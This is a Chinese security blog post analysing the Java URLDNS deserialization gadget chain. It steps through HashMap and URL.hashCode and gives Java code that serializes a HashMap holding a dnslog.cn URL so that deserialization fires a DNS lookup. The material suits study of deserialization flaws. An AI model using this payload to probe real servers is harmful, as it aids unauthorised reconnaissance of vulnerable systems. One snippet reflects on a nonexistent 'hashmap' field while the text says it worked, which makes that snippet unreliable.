首先分析HashMap,前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进看 putVal里 hash函数。
这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。
分析URL中HashCode方法,if进行判断hashCode的值,hashCode默认值为-1,如果不是-1的话直接退出,如果为-1才能向下执行。向下执行调用handler的hashCode方法,直接跟进去。
发现调用getProtocol()然后调用getHost()方法。
通过dnslog来构造代码进行调试分析。
public class Main {
public static void main(String[] args) throws MalformedURLException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://3usgxy.dnslog.cn");
hashmap.put(url,11);
}
}
这里只有当hashCode不为负一的时候才会走handler发起DNS请求,hashCode在初始化的时候已经被赋值成-1了。
跟进hashCode方法,先进行调用了getProtocol方法。
再次调用了getHost()方法。
DNSLog平台接收到了DNS请求。
因为存在缓存的关系,所以运行之后只会进行一次DNS请求,如果在序列化的时候进行请求,那我们在反序列化的时候就接收不到DNS的请求。我们需要知道调用URL的hashCode()之后,并且hashCode的值不为-1就会发起DNS请求。所以我们可以通过反射技术来改变值,以此来达到序列化的时候不进行DNS请求,反序列化的时候进行DNS请求。
public class Main {
public static void main(String[] args) throws MalformedURLException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://7yugpl.dnslog.cn");
Class urlClass = URL.class;
Field urlClassDeclaredField = urlClass.getDeclaredField("hashmap");
urlClassDeclaredField.setAccessible(true);
urlClassDeclaredField.set(url,123);
hashmap.put(url, 11);
//SerializeDemo(hashmap);
}
}
反射技术改变了hashCode的值,因此不进行DNS请求。
DNSLog平台未收到DNS请求。
下面构造代码,进行序列化与反序列化操作,来进行观察DNS请求。
package org.rkabyss;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void SerializeDemo(Object object) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("object"));
objectOutputStream.writeObject(object);
objectOutputStream.close();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://7yugpl.dnslog.cn");
Class<URL> urlClass = URL.class;
Field urlClassDeclaredField = urlClass.getDeclaredField("hashCode");
urlClassDeclaredField.setAccessible(true);
urlClassDeclaredField.set(url,123);
hashmap.put(url, 11);
urlClassDeclaredField.set(url,-1);
SerializeDemo(hashmap);
}
}
上图为序列化操作,为进行DNS请求。
进行反序列化。
反序列化时触发了DNS请求。
原文始发于微信公众号(我真不会渗透):JAVA反序列化-URLDNS链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论